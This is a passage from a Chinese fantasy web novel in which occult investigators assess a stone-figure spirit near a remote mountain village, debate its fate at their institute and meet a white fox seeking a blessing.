要知道,石人某种意义上来说可以算是这座山的山神,地煞浊气也不仅是只有这种用法。
“详细说说!”顾念海说道。
“认干娘的是村里的李大拐,刚出声就体弱多病,一岁时认了石人当干娘才好转,三岁时母亲进山采药跌落深潭,回来后没多久就病死了。”
“之后由父亲抚养,在八岁时,父亲外出赶集,半路天降大雨失足滑落,被发现时已经没了,之后靠吃着百家饭长大。”
“李大拐的运气很好,每次进山都多少有收获,这也是他能吃百家饭长大的缘故。”
宋应星一针见血的说道,一旁的村长不好意思的笑笑,那个时候人人都苦,要匀出一口吃的都不容易。
“成年之后,他自己单干,靠着跑山挣出现在的家业。”
“每逢年过节和月末,李大拐都会上山祭拜干娘。”
……
5. 山珍村神秘的韩地师
“那李大拐的父母怎么知道来这里拜干娘的?”顾念海突然问道。
石人的位置在靠山顶位置,距离山脚的山珍村隔着三四个小山包,一路上七拐八绕还要爬山少说要走个四五公里路。
在那个时候,这石人还是一块巨大的石头,那对父母带着一岁的婴儿往深山里钻来拜干娘?这不由地引起他的警觉。
“据说是当时的一位风水先生指点的。”宋应星回道。
“那风水先生叫什么?现在还在不在世?李大拐拜干娘这件事还有没有相关知情人?那风水先生在这里收了什么徒弟或者留下什么后辈?”
顾念海一连串的问题直接把宋应星问住了。
她发现自己竟然忽视了这个最可疑的点。
李大拐的干娘是石人,石人!!!
这两个字圈起来,要考的。
据她了解到的情况,李大拐已经四十多岁了,那就是说拜干娘那件事情发生在四十年前。
难道四十年前就有风水大家看出了石人真身?并为其牵线搭桥让李大拐拜为干娘?
这……这怎么可能!!!
宋应星只觉得自己的心脏被一张充满寒意的巨大黑手攥住,整个人呼吸都要停滞了。
猜想和所学传承产生了强烈的冲突。
明明理智告诉她现世不可能存在这么强大的人,可她就是忍不住往这方面去推理。
“应星,你先休息一下,不要乱想。”
顾念海给房德使了个眼色,让他带宋应星去一旁休息。
“村长,你能再讲讲那风水师的事情吗?”
房德和宋应星已经走到四五米外坐下休息,顾念海坐到村长旁边。
一般来说,宝地有灵,非有缘者、道行深厚者不可见,想要在偌大的山川地势划个圈圈出大概位置容易,但要想点出真穴位置,那难度不可同日而语。
若要量化,那么前者的难度是一,后者的难度至少也是一百。
那些个风水宝地除了有缘人外,哪怕是道行深厚者找到真穴,也不敢轻易泄露天机,哪怕只是只言片语,冥冥之中也会有反噬临身。
“好啊好啊,专家韩地师(地师:风水师的别称,不同地方的称呼略有不同。)是好人呐,他是我们村的大恩人。”
村长人老成精,猜到这三人可能来头很大,并非仅是上面来的专家这么简单,在这个时候维护韩地师可能不讨喜,但他还是要说两句。
做人呐,不能忘本,不能丢根。
“大概在我十五六七岁的时候,韩地师就到我们村了,那个时候村里的人比现在还要多些。”
村长露出淡淡的笑,脸上满是怀念。
姓韩?
顾念海默默记下。
“村里来了个新面孔,在那时候可是个稀罕事……,我们村可是山旮旯中的旮旯,想要离开村子都找不到路,韩地师竟然还想跟我们一样,在村里住下来,我们背地里都说来了个傻子。”
“韩地师是个有本事的人,本事多着嘞,明明来的时候都没见带啥行李,可他就是会做工具,会种地干活,下水抓鱼、上山抓野兔,比我们这些在这里呆了一辈子的人还要懂。”
“村长,您还记得韩地师的名字吗?”
“俺不记得韩地师叫啥名了,只记得姓韩,他总说自己是地师,他说地师是一群有学问的人,时间长了,村里都叫他韩地师。”
……
“要说他最了不得的还得是那手医术,好像没有他识得的草药,什么头疼脑热的病,多吃几副药就给治好了。就是那药忒苦,喝一碗,一天下来,吐口痰都是苦的。”
说道这里,村长那沧桑的脸庞皱起,好似一朵菊花,身体不由打了个寒颤。
能让村长到现在还记得的苦味,想必是很苦吧?
顾念海内心一边吐槽,一边记录,没有去打断村长。
学得杂,懂得多,动手能力强,……医术精湛
这些都是线索,在那个贫瘠的时代还能有那么深厚的学识,除了天赋异禀外,所学传承也是较为完整的,可以顺着这个方向去查。
“韩地师经常带着我们进山采药,打猎,教我们制皮子,说是屯得多了,可以带进城里换钱。”
“韩地师来之前,俺们都没离开过村子,以前也有想出去的,往身上揣好几天的干粮就离开了,结果十几天后又跑回来了“
“那个跑出去的人吃完干粮后,靠着喝溪水吃草根又走了几天,还是没有看到人烟,最后顶不住了才靠着路上做的记号跑回村子。”
确实挺偏僻的,顾念海吐槽道,最近的乡镇都有一百来公里。
也就是国家发展起来了,村子不断分户外迁,这片荒芜大地才多了人烟。
也不知道山珍村这群人是怎么跑到这个地方住下的,要是在那个时候有个人想要称王称帝当个大地主,估摸着二三十年都不会有人发现……
那个韩地师在那个年代就找到了这个村子,有这本事不应该找不到人吧?
顾念海心中没底,只希望那韩地师来到山珍村之前留下一些记录,不然只靠只言片语的口述去寻人,无异于海底捞针。
上年纪的村长很健谈,一葫芦低度粮食酒,几块杂粮饼,就和顾念海讲了几个小时。
老人就是一部活着的历史,尽管只是讲述那些还记得的故事,但却让顾念海对韩地师、山珍村有了一个大概的印象。
说句不好听的,如果没有韩地师,这山珍村可能就悄无声息的寂灭了。
缺少粮种、医术、工具制造技术的他们,迟早要成为野人。
韩地师在这里住下,最终也葬在了这里。
“房德,看看那浊气消散得怎么样了。”
顾念海轻轻将休酣的村长交给二麻子照顾,转头说道。
地煞浊气很沉重,极易沉入大地中,方才爆发出的量不大,都过了几个小时,按理说已经消散完了。
“好嘞!”
房德高兴的应了声,睡了一觉的他精神头正好,当即打开身前的背包翻找出几张符纸。
他捡了几颗石子,把石子放在符纸上,然后将符纸折成三角形,丢向碎石堆。
符纸落在碎石堆上,无风自燃,出现一团团白烟。
“消散干净了!”房德笑道。
这下子总算可以下山了。
“房德,应星,你们去把那些树枝砍了,带回去。”
顾念海指着碎石堆上空的树木说道。
啊?!
宋应星和房德不解,那树木虽然被雷劈过,但也不是什么树木被雷劈后,都能叫做雷击木的。
雷击木要求其树木需是枣树、檀木、柿木、柳木、桃木等,这种雷击木制造出来的法器才有效果。
碎石堆旁的那些树木有一个算一个,都不在上述之类,属于‘杂’树,还是被波及的杂树,属于砍了当柴火嫌麻烦,做法器直接嫌弃。
“你们看不上,不代表那些半条腿还踩在门槛上的看不上,赶紧动手砍了回回血。”
顾念海催促道,真是饱汉子不知饿汉子饥,他们不屑一顾的雷击木(杂木),可比市场上那些假货强太多,好歹是正儿八经天雷劈过的。<
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做个一次性法器绰绰有余,给那帮子学徒用简直不要太合适。
多了浪费——祖师知道了都要跳出来骂败家。
“诶!”
两人的眼睛亮了,有买家那就不一样了,干就完事了。
一人一把柴刀三两下就窜上了树,比那猴子还要灵活几分。
他们有的是一把子力气,一时间那树干哗啦啦的像下雨一样掉下来。
仅十几分钟,碎石堆上的空圈就扩圆了两倍有余。
随后两人下树修剪起那些落下的枝干。
“事情搬得利索点,别像土匪过村,弄漂亮些。”顾念海嘱咐道。
“好嘞!”
两人应声,他们砍树都是取了提前量,自然完整的把属于雷击木的部分都砍了下来。
听道顾念海提醒后,他们将这些枝杈搬到一旁不起眼的角落才开始修剪。
毕竟是石人大佬的地盘,人家不说话,他们可不能过分,把地方弄得一片狼藉。
这些木头是给学徒的,论起来他们还是前辈,修剪精致些,不能搀太多‘凡’木,影响口碑,老大要脸!
正儿八经的雷击木很不得整颗搬回去,这些练手的玩意,那就能拿多少算多少。
等到忙活完了,日头已经偏西,时间来到下午四点多了。
顾念海看了眼捆扎好的两堆半米多高的木头问道。
“你们谁拿箱子。”
宋应星和房德摇摇头,连声说道。
“老大我们搬木头就行。”
得,就不该问的,顾念海无语。
木头只是看起来多点,但箱子是实打实的沉。
“村长,村长,我们回家了。”
“呐?啥时辰了?”
被喊醒的村长还有些迷糊,还是一旁的二麻子扶着才坐了起来。
他摇摇头,又喝了口酒,清醒不少。
“那专家,我们下山回家吧。”
“好,王治安员,你扶着村长些,山路不好走。”
顾念海嘱咐道,喝酒走山路,有点不安全。
“好!”二麻子点点头,扶着村长先下了山。
顾念海提着箱子跟在后面,再后面是当牛用的二人组。
回村的路途很顺利,到村时天已经黑了。
“村长,你们先回家,这里的情况我们向上面回报了再给你答复,这两天没啥事情了,麻烦你给我们送的米和菜来,我们给现钱,绝对比镇上给得多。”
顾念海和村长说道,村里物资匮乏,想花钱买只鸡买只鸭,村民不一定会卖,属于是有钱没处花了。
“好说,好说,我这就安排下去,你们可是村里的大宝贝,不能饿着你们。”
村长点点头,答应下来,紧接着说道。
“顾专家啊,俺看得出来,你们都是有大本事的,请您看在这张老脸的份上,帮帮俺们吧!”
嗯?
“俺村里人过得不容易,每天进山采药一路上都是些毒虫猛兽,俺想为他们求一张平安符。”
顾念海闻言没有说话,平安符可以给,但不能随便给,该怎么给!
路过的宋应星旁听了一会,出面道。
“村长,要不这样吧,你负责我们这段时间的吃喝,等我们任务离开,我给村里每家送个平安符怎么样?”
“好的,好的,谢谢宋专家,谢谢宋专家!谢谢顾专家!”
村长激动地身形颤抖,连连拜谢,
“村长,天太晚了,您先回去休息吧!”
“嗯嗯!”村长感激地说道。
6. 白狐讨封
看着村长缓缓隐入夜色的背影,顾念海缓缓开口。
“他太贪心了。”
“这怎么了?每个人都有追求,他追求的是这个村子过得越来越好,希望村子里的人幸福安康,能开口就是一种勇气。”
宋应星莞尔,她不想做这样的人,内心却很欣赏这样的人,因为他们争取到的光,会照耀到更多的人。
“我们和村子也是有缘分的,我们从石人那里得到善缘,再把善缘散给石人所庇护的村长,正好是个因果循环。“
“从山上搬回来的木头取出两三块就能做几十份平安符,你觉得呢?”
顾念海被说服了,搬回来的这两堆木头是赠予亦是意外之财,需要散一部分善缘出去,把善缘给村子,倒合适得很呢。
或许,这亦是石人之所愿!
平安符一事定下后,三人各自忙活起来,顾念海回房写报告,最终的处置还是得上面来决定。
房德已经到厨房准备起了今晚的晚饭,值得一提的是,他坚持以市场价三倍的价钱找村长帮忙购买食材,为明天的赔礼宴做准备。
宋应星摆弄两堆“雷击木”,这些木头刚砍回来,还需要阴干处理,想要卖相、品质这步可马虎不得。
吱~吱~叮~吱~
村长一个人开着手电走在路上,突然听到一阵怪异的老鼠叫,这声音来的奇怪,不由让他眉头一紧。
叮叮哒哒!
吱~
这声音怎的越来越清晰?莫不是遇上脏东西了?
村长内心嘀咕道。
“是谁,谁在哪?”
他突然厉声喝道,猛的扭头看向一处黑暗处,手中的手电一并照过去。
先探入眼中的是一道锁链,锁链上还有六七只大老鼠,中间的三只特别肥硕,眼中闪动诡异的光。
锁链底部悬在空中,离地仅有三十来公分,另一段垂直在上,挂在一黑色棍子上,在棍子的另一端——是个人。
啊!
是人。
是人!!!
“你是谁家的,鼻个瘟嘞,天黑了出门都不知道打个手电,拎串鼠杂出来吓人。”
村长骂骂咧咧的向那人走去,天黑了都不打手电,走路没声音像个鬼似的。
“你个瘟憨,手电嘞?诶,是迟哥儿~”
怒气冲冲的村长走近了才看清那人样貌,将要落下的巴掌化作了亲切的摸摸头。
“迟哥儿~,手电嘞,咋不带个手电出门?”
燕迟无奈回道:“没电了,回来到半途就没了。”
说着抬手使用掌中的电筒,拇指来回拨动两下开关没有反应。
“哎!你呐!跟我走吧,稍你一段!赶明去长健家买两电池换上。”
这年头的手电,是那种用两三个一号电池的铁皮钨丝手电,没法充电,电池续航一般,说没电就没电。“
“好嘞,谢谢村长。今个下爪子(爪子:捕鼠夹,村中方言)抓到几只山鼠,你拿点回去整整。”
他说着就分起了老鼠,留下两只最大的,然后剩下全递给村长。
“这干啥,俺还能缺你那口吃的?”村长不乐意道。
“咋会嘞,村长你是知道我的,我啥手艺,你还不清楚嘛,这山鼠可是好东西,给我整算是浪费了,这些您拿回去,赶明我我你哪蹭饭。”
燕迟对自己的厨艺深知肚明,只能说做出来的饭菜不难吃。
明明是同样的步骤,他做的菜总感觉差了些。
“迟哥~,你这手艺那么多年了还是老样子……”村长笑道。
以前的迟哥~,抓鱼捕鼠下陷阱在村里是数一数二的,可就是那手做菜的活让人难绷。
“迟哥~,谈媳妇没?我跟你说,你找个媳妇一定要找个厨艺好的,有个会煮饭媳妇照顾吃嘛嘛香。”
……
他这是被催婚了?
燕迟嘴角咧咧,“村长,这只也给你,赶明啊我去你哪,让阿婆整这只,我好久没尝到阿婆的菜了。怪想念的。”
“好啊!好啊!我跟你讲,咱花的手艺在村里都是排得上号的,她可想你来了,我回去和她说,指不定多高兴嘞!”
“当年追咱花的时候呀!俺……”
听着村长讲着自己当年的爱情故事,燕迟松了口气,不被老人家催婚实在是!
太棒了!
燕迟跟着村长走了一阵,走到一个岔路时停下了。
“村长,到这里就行了,剩下的路我看得清,您赶快回家吧,别让啊婆等急了,赶明我还要去蹭饭嘞。”
“好好好!明天一定过来啊!你回去吧。”
村长应道,把手电光拉倒最细,给燕迟照亮身前的路。
燕迟心中一股暖流流过,口中却是说道:“村长,您回去吧,我看得清路,不用照了。”
“俺晓得,俺晓得!”村长乐呵呵的应道。
燕迟没法,被村长认定的事情九头牛都拉不回来,这小老头犟着嘞,他只得加快了脚步,快步走进阴影中。
远远地,远远地。
燕迟看着那道灯光调头走到视野外,才继续转身往家里走去。
沿着路又走了一会,他已经看到自家的轮廓、听见零星的风铃声。
“嘤嘤嘤!嘤嘤嘤~嘤~”
“你看我像什么?”
燕迟停下脚步,看着路中间的白影笑了。
那是一只通体全白的狐狸,白狐人立而起,双爪作揖,朝他拜了三拜,它那白色毛发边缘仿佛有点点毫光,神气极了。
这胆子可真大,讨封讨到家来了。
“你观我像什么?”白狐再度发问。
不知从何时起,燕迟手上那跳脱的老鼠都不吱声了,被夹爪夹住腿晃荡在空中也不叫唤。
“来找我讨封,你家里人知道吗?”燕迟意有所指。
他有国运护体,等闲精怪见到他都要躲着走,这只白狐被强盛气运迷了眼,冒冒失失的就来讨封,真是不长眼。
讨封的本质是借运,人为万物之长,又具先天之道体,有福、禄、寿三运,应了精怪讨封,便是在以运为笔,为该精怪增删阻碍。
为了自身道途,精怪讨封多是找心性纯良者,借得少许气运走得更顺畅些,也有胆大的,找上那些运势强盛的人,妄图得一两句良言,一步登天。
运势强盛的人给的封言,力道自然是实打实的足,若是良言,自然是坦途,若是妄言,对道途简直是毁灭性打击。
还有道行低下,不足以观气运的,他们讨封都是随意找的人,换来的结果自然也是潦草的。
眼前这只白狐,观其毛发,自有莹莹毫光,显然道行有成,不是那种呆傻之狐。
但想碰碰他身上的这国运还不
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够格。
“嘤嘤嘤!嘤嘤~嘤~嘤嘤!”
“求仙长赐言!”
燕迟皱眉,这白狐怎的不识趣?
“我给你,你敢要吗?你且好好看看!”燕迟轻喝道。
他稍稍放开限制,显露出一鳞半爪。
昂!
“嘤!!!”
白狐尖叫,头也不会的夹着尾巴逃跑了。
那石头让白狐过来是搞笑的吗!
找有官身的人讨封,真是茅坑里点蜡烛——找死。
“整夜宵去,你说是吧,小鼠鼠!”
燕迟抖了抖爪子,上面的小老鼠嘤嘤叫唤两声。
鼠鼠:今晚不用留菜了!
飘香的夜宵总要有鼠鼠大义献身,这一夜,风铃依旧,悦耳悠扬的声音载着故事随风远行。
翌日。
邦!邦!邦!
房德敲着锅沿喊道。
“开饭了!”
“来了!”
三人围坐在桌前吃饭,桌上的菜有腊肉炒蒜苗、炒鸡肉、炒鸭肉、还有一条红烧鲤鱼和一碗青菜汤,简简单单成了今天的早餐。
“队长,这石人要怎么整?”
房德扒拉两口饭问道。
“别乱来!这石人可是天生善灵!”
顾念海提醒道,然后夹了块鸡肉送进口中。
房德的胆子不是一般的大,别看他浓眉大眼的老实模样,如果石人在对立面,第一个操家伙干的就是他。
非生物成精的精怪,有善灵与恶灵之分,善灵本性纯良,没有伤人害人之念,受天地眷顾,哪怕懵懂无知,也会误打误撞做好事。
恶灵性本恶,有嗜血阴邪之念,其性凶恶,这类精怪成型快,恶意明显,所在之地多为险地,易生事端。
天道运行讲究惩恶扬善,杀恶灵可积赞功德,改善气运;杀善灵,则被天地厌弃,自损功德道行。
正所谓时来天地皆同力,如被天地厌恶,又哪来的力量。
“这善灵迟早会成为恶灵,到那时候可就压不住了。”房德说道。
“那也是以后的事情,先报上去再说,自己做主想打杀善灵,亏你想得出来。”
宋应星反驳道。
“先报上去再说,天塌下来有高个的顶着。”顾念海沉声道。
房德都能看得出来,没理由他们两看不出。
石人是‘早产儿’,看似是九窍石人,实则七窍半,剩下一生窍未开,一灵窍未圆满又沾上了香火之力。
先不说现在是个末法时代,石人本身的底蕴也不足以修成生窍,它的材质是石头,虽然比寻常的石头更加坚硬,总归是凡石,在这末法时代根本无法蜕变。
灵窍未成还沾染上香火之力,就像是未成型的白纸上已经落下数笔图案,以后修行速度慢下来,便会不自觉吸收香火之力,出现恶变。
恶变后,只要有足够的香火,能在一日内转换成恶灵,再吸收那些邪念恶意如吃饭喝水般容易,到那时,一步修成传说中的鬼帝也不是难事。
“那我们就干等着?”房德恹恹说道。
“为啥要干等着?”顾念海反问,“那堆雷击木赶紧脱手,到时候能不能喊来帮手就看它了。”
其实他也有自己的消息渠道,虽说是往上报,但最后处理这件事的肯定还有他们三,搞不好他们还是主力。
7. 建国之后不许成精
816所会议室。
平日里闲置的会议室内,在今日竟是坐满了人。
所里有实权的人物在那张长十五米宽三米的红木会议桌上议事,其余的副手只能坐在椅子山背靠墙壁旁听。
坐在主位的是一名年轻人,他的左列是一群上了年纪的人,他们之中,最年轻的都已鬓须发白,少说也有四十往上。
右列是一群年轻人,肉眼可见到他们的朝气,他们彼此间说说笑笑与对面的沉默寡言形成了鲜明对比。
年轻人们左右交流着八卦。
“回来得这么快?任务完成了?”
被问道的年轻人下颚微微仰起,傲然说道。
“我是可是百年难遇的绝世天才,区区灵异,手拿把掐,根本抗不住我三下。”
“嘶,强,真强,太强了。王哥的实力难道已经更上一层楼了?”
“低调,低调。”话虽这样说,可他脸上的傲气不减分毫。
又听一人说道。
“听说西南那边发现了一尊九窍石人。”
“九窍石人?那不是神话中的存在吗?”一年轻人低声惊呼道。
对面的中年人们面对这等重大消息不为所动,一个个闭目养神,身后来旁听的副手则在低声私语。
嘣~嘣~嘣。
随着主位敲了三下桌子,整个会议室瞬间安静下来,中年人们的双眼睁开了些许。
“海德星小队传来消息:西南山村中出现一尊‘七窍半石人’,是善灵,有恶堕风险,你们觉得应该怎么处理。“
说话的自然是主位的所长,他叫赵星河,星眉剑目,英俊非凡,年仅二十,便坐上了所长之位,任谁见了都要夸赞一声年少有为。
“建国之后不许成精,若让这尊石人出世,方圆千里怕不是要被抽干,灾祸不断。”
左侧的年轻人朗声说道,他叫赵九州,他的实力、修为在这批年轻人中排行第二。
“石人恶堕,比那旱魃出世更加可怕,所见之物都是资粮,该除!”
“石人不可能修成九窍,应尽早处理,避免养虎为患!”
桌上的年轻人纷纷附和,仿佛石人已经恶堕,做了什么伤天害理的事情。
主位上的年轻人看着右边的年轻人们满意地点点头,待看到左边这些中年人后,眼底划过一丝不满。
“鲁执事,您觉得这石人该如何处理?”
816所只有一个所长,往下则是执事,小队,最后才是个人。
每名执事都负责一片区域,手下管理着三四个小队,每个小队有三人到五人不等。
鲁执事是坐在左边最靠近所长的位置,他手下的小队实力强劲,海德星小队就在他的手下。
鲁执事稍稍抬头,看了眼对面的年轻人,内心平静一笑,到底是年轻人……
“不如布置大阵,修建庙宇将其封印,隔绝香火愿力,让那石人自然寂灭。”
“让石人自然寂灭要多久?十年、二十年?甚至是百年?这期间多少变数?这是在养虎为患!”
对位的赵九州当即质问道,石人一日不出世,石人一日是石胎,石胎最是养灵,这石人即便止步于当下,也能熬走几代人。
面对质问,鲁执事没有立即回应,而是看了一眼旁边主位上的所长。
唉!
“石人事关重大,需从长计议,不如效仿愚公移山,子子孙孙力无尽呼?”鲁执事平淡地说道。
“一念为善,一念为恶,石胎养善灵是养,养恶灵亦是养,吾辈之责任,岂能留于后人?”赵九州郑重道。
或许是这番话太过震撼心神,会议室内众人不由肃目,鲁执事微微睁大双眼,认真端详赵九州的面孔,似要将其看透。
眼前之人面容稚嫩,确是一脸正气,双目有神,眼中的火焰很是灼热。
几个呼吸后,鲁执事打破了僵局,对所长说道。
“石人事关重大,还需所长决议。”
或许赵九州是对的,但他还做不到随意去定一个善灵的生死,以未果定其罪,与他所求之道不符。
“谁还有不同的意见?”所长环顾道。
左侧的中年人们一言不发,右侧的年轻人踊跃发言,其言论大同小异,皆是尽早处理,未免养虎为患。
“既然这样,投票表决吧!”所长如是道。
“同意鲁执事的举左手,同意赵九州的举右手,弃权不举手。”
左右两侧各十二人,所长一人占三票。
“开始投票吧!”
很快投票结果出来了,鲁执事六票,赵九州十二票,六票弃权,值得一提的是,弃权的都是鲁执事这一侧的人。
……
“上面的结果出来了。”
顾念海找来宋应星说道,房德一大早就出去找村长张罗赔礼宴的事情,到现在都还没回来。
“这一次是赵九州带队过来处理,我们留在这里协助。……”
“***,这石人他们是真敢动啊!不要命了!”
一向沉稳的宋应星口吐芬芳,她没想到这群年轻人是真的勇,难道他们以为有国运庇护,就能高枕无忧了?
这石人可是善灵中最顶级的存在,可以说是这个世界最爱的宝,天生身负大气运。
这种大气运者躲都来不及,还要去碰一碰?
上一个敢挑战老天爷最爱的宝的人,还是在上千年前,那个人叫做王莽。
这些石头凝型的精怪分三流九等,人型是最顶级的那批,无需多言,往下是地支十二的形体,如鼠、牛、虎、兔……
地支十二相不分高下,功效不同,再往下的型体,只具功效,受到的上天的眷顾也极少。
“他们才是主力,我们是协助,到时候少说少做,不做不错,别和他们起了冲突,毕竟是所长的心腹爱将。”
顾念海看得清楚,赵九州他们要过来,肯定都是带的自己人,而他们三,不算!!!
“别在这个时候犯傻,不要在石人大神面前冒尖。”
“放心,我会的。”
宋应星点点头,紧接着说道。
“雷击木找到买家了,给的价格很公道。”
“嗯,过会吃完饭,你带着雷击木到镇上吧,出手后先镇上呆几天,到时候和赵九州一起回来。”
“好,房德那边?”
“房德,我另有安排,留下他正好。”
一番商议后,双方一同将雷击木收拾打包,然后又做了午饭,房德还是没有回来。
吃完饭后,宋应星开车载着所有的雷击木离开了村子。
到了傍晚,房德才拎着大包小包的回来,刚靠近房子,那大嗓门就嚷嚷起来。
“念海、应星快出来帮忙,看我带什么回来了,都是好吃的。”
听到动静的顾念海走出来,看到房德的模样愣了一瞬,立即快步向他走去。
“你这是打算过早年?这才夏天,等到过年还有半年时间呢。”
“哎!这哪是过早年,赔礼宴要现整,都是现杀的食材,赔礼宴我和乡亲分着吃了,剩下的材料我挑些好的带回来给你尝尝。”
房德乐呵呵的说道,他介绍起了身上的‘装备’。
“瞧瞧这肘子,再看看这扇排骨,还有这段大
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骨头,都是好东西。”
“快帮我拿进去放冰箱,免得放坏了。”
顾念海接过猪肉,手上传来冰凉的触感,显然之前有冷藏保存。
“应星,应星,应星干嘛去了?”
房德喊了两句,才注意到皮卡车不在了。
“她去镇上了,赵九州带队来处理石人,我们打下手。”
顾念海解释道。
“那她是没有口服了,赵九州那家伙才多少道行,就敢来碰石人。到时候离那群家伙远点。”
两人拎着大包小包就往屋里走,突然,房德一拍脑袋神秘兮兮地说道。
“念海,你猜我在村里遇到谁了?”
“村民。”顾念海随口说道。
……
房德蚌住了,好冷!
“认真点,再猜猜!”他催促道,对之前的答案一点都不满意。
“你让我猜,还否定了村民的答案,那个人肯定是我们都认识的人,甚至是我们三都认识的人。”
顾念海推理道。
“之前听村长讲过,韩地师抚养过一个孤儿,那个孤儿叫迟哥儿,恰好我们认识的人里也有一个人名字中带个迟字,你说是谁呢?”
闻言,房德脸都垮下来了,叫你认真,没叫你这么认真,一点乐子都没有。
“哎,你是不是看到了!”
他偏头看看顾念海,然后投降了。
“你猜到了,那就不瞒你了,我遇到了前所长——燕迟。”
“你肯定不知道,这里是燕所长的老家,他的家就在……”
房德兴致勃勃的说道,顾念海一边听一边把菜放进冰箱。
这个冰箱是卧式大冰柜,空间很大,菜放进去可以摞起来。
“如此,倒是说得通了。”顾念海没头没脑的说一句。
“说得通什么?”
房德不解,明明他才是探听到消息的那一个,怎么回来一说,迷茫的就成他了。
想不通,真的想不通。
……
东南角的一栋二层砖房前。
燕迟带着一身酒气沿着土路慢慢走回来,村里人太热情了,又逢今天房德搞赔礼宴,有菜有酒,他又是游子归乡,兴致到了,忍不住多喝了几口酒。
咦?
门前这么有团朦胧白影。
燕迟揉揉眼睛,定睛看去,才看清那是昨晚的白狐,白狐旁边还摆了一堆水果。
“咳咳咳!”
“嘤~嘤嘤~”
白狐惊醒了,猛的跳起来,可有只脚下打滑,险些摔倒。
“嘤嘤嘤~嘤嘤~嘤~嘤嘤嘤~”
看清来人,白狐四肢伏地,前爪做求饶状,嘤嘤的叫着。
“你是说这些水果是带来赔礼的?”
“嘤~嘤嘤嘤!~嘤嘤~”
白狐连连点头,轻声叫道,身体往前挪了挪,用爪爪轻轻推了推果子。
燕迟蹲下,随手拿起一颗果子看了看,是山里常见的果子,但是品相很好,没有破损,熟度也合适。
又看了几颗,亦是如此。
他伸出手来抚了抚白狐脑袋,
“你有心了,你的道歉我接受了。”
“嘤嘤~嘤~嘤嘤!!!”
白狐兴奋地跳起来,蓬松的大尾巴摇个不停,高兴的转了两圈。
燕迟把水果用衣服兜起来,随手推开门,门没锁,只是虚掩起来。
村里不闹贼,谁要是做这种事,是被戳脊梁骨的,至少会被说上三五年。
一旁的白狐衔起一块黑色小石头跟着燕迟身后,一同进了门。
8. 故友白狐,结契
“起风了!”顾念海抬头望天喃喃道。
此刻是下午三点钟,理应是日头最火热的时候,空气中却多了些压抑,还有一丝清凉的风。
察觉出来快要下雨了,顾念海往晾衣区走去。
两根木桩一条废弃电线便构成了实用的晾衣区,这里没有任何遮蔽,全靠风和自然光晾干。
现在不收衣服,等刮风的时候,那就是东一件、西一件了。
收完衣服,顾念海回到房间内翻出一本本子,翻到空白页后用铅笔勾描起来。
原本的打算是出去踏山的,看看这一片的山川地势,但看这天空只得打消计划。
他用铅笔简单勾勒几道轮廓,若是熟睡的房德在这里,一定能认得出这是从村里到石人这一路的地势。
……
轰隆!
闪电击破长空,映出云朵的深邃,层层叠叠遮蔽了天光。
夏季的暴雨说下就下,来的快,落得急,黄豆大小的雨粒哗啦一下从天空滚下来。
燕迟被这雷雨声吵醒,从竹制沙发上醒过来,刚要抬手却碰到毛绒、温热的……
尾巴?
他还在迷离的双眼瞬间瞪圆了,看到自己肚皮上盘卧着一只白狐。
白狐睡得香甜,外面轰隆的雷声和哗啦啦的雨声竟没吵醒这小家伙。
这白狐还没走?
把这里当自己家了?
燕迟莞尔,抬起另一只手抓住白狐的后颈肉,像拎猫一样,将白狐拎起,整个人挺身坐起来。
他现在在的位置是客厅,感觉光线有些昏暗,随手开了灯。
这白狐还没醒来?
燕迟换了左手捏住白狐后颈肉,右手摆弄狐身开始查看。
只见他撩起尾巴看了眼,确定白狐的性别。
嗯,是只母狐狸。
然后将白狐平放在大腿上,松开后颈肉,抓住两只前爪,另一只手抓住两只后腿,让其背躺。
右手松开,两只后腿自然分开,白狐空门大开,燕迟的大手毫不客气的摸了上去。
嗯?是只雏?
燕迟惊讶,这不应该啊?
幼狐出生后九到十二个月达到性成熟,已经具备繁育能力,三到四岁时是狐狸繁育的高峰期。
他手上的这只已经是只大狐狸了,粗略估算至少也有四岁以上,不应该是只雏啊?
这山里难道就一只狐狸?那它是怎么诞生的?
就在他准备进行摸骨的时候,白狐清醒过来,后腿弹蹬,扭动身体想要从燕迟手中挣脱出来。
“嘤嘤嘤~嘤嘤嘤~嘤嘤嘤嘤~嘤嘤~嘤嘤~嘤……”
白狐发出一连串短且急促的叫声,身体扭动得更加剧烈。
这叫声一听就是白狐生气了,骂的真脏!
说来奇怪,这白狐虽然闹腾得厉害,却始终没有下嘴去咬近在咫尺的手掌。
“我知道你很急,但你先别急,再让我看看!”燕迟得寸进尺道。
“嘤嘤~嘤嘤嘤~嘤嘤嘤嘤~嘤嘤~嘤嘤嘤……”
白狐的意见显然是苍白无力的,燕迟右手穿到白狐腋下,左手松开前爪,穿到另一边腋下,双手用力把白狐抬了起来。
“嘤嘤~嘤嘤嘤~嘤嘤嘤嘤~嘤嘤~嘤嘤……”
促声尖叫,左右摆头,双腿倒腾、摆尾如风扇……
这一切都阻止不了燕迟的黑手与肆无忌惮的目光。
天塌了,
累了,
摆烂吧。
挣扎好一会的白狐,头一歪,露出哀莫大于心死的神情,整只狐瘫软下来,软趴趴的挂在他的手上。
“你倒还挺可爱的!”
燕迟夸赞道,可手上的动作却没停下,白狐不反抗,那就更加任由他为所欲为。
一番检查下来后,发现这只狐已经有十六岁了,算得上是一只灵狐了。
一般的狐狸寿命十年到十二年,十二年的狐狸已经是高龄老狐,要是没有意外的话,这个年纪正好是入土的年纪。
而他手里这只,骨龄十六,身体强健活泼的像少女般。
咦!
“你还怪好心的。”
这时燕迟才发现自己的腿边滑落一件单薄的外套,外套上还有一点点灰土。他记得这件外套是挂在里屋的衣架上。
这外套应该是入秋时穿的,他也没有动过这衣服。
显然是这只白狐叼出来的盖在他身上的。
“我就不追究了,原谅你了!”
“嘤嘤~嘤~嘤!呜嘤~”
白狐呜咽几声,声音幽怨,仿佛在控诉某个人始乱终弃。
燕迟嘿嘿一笑,松开双手,放开白狐。
刚抬手,
无意间瞧见白狐左前腿根部被白毛遮掩的皮肉下有一黑色印记。
他抓住白狐拨弄两下,看清了这个印记——那是一个歪歪扭扭的凡字。
轰隆!
屋外一道闪电横贯长空。
屋内燕迟脑海划过一道雷霆。
……
十五年前,
燕迟上山收陷阱,那段时间恰逢冬季,正是抓山鼠的时候。
接连收了几个陷阱,收获一般,有两三个陷阱被破坏了,里边的山鼠只剩下了残肢,有的陷阱周边还有颗啃断的鼠头。
等他到了下一处陷阱附近时,看到陷阱亦如之前般被破坏,心中已经不抱希望,不求猎物只求收回夹子即可,
待近了,意外发现里面有只白色的小狐狸。
看到他出现,白狐嘤嘤嘤的叫,用力挣扎。
可是跑得了吗?前爪被夹住了,除非要断腿求生。
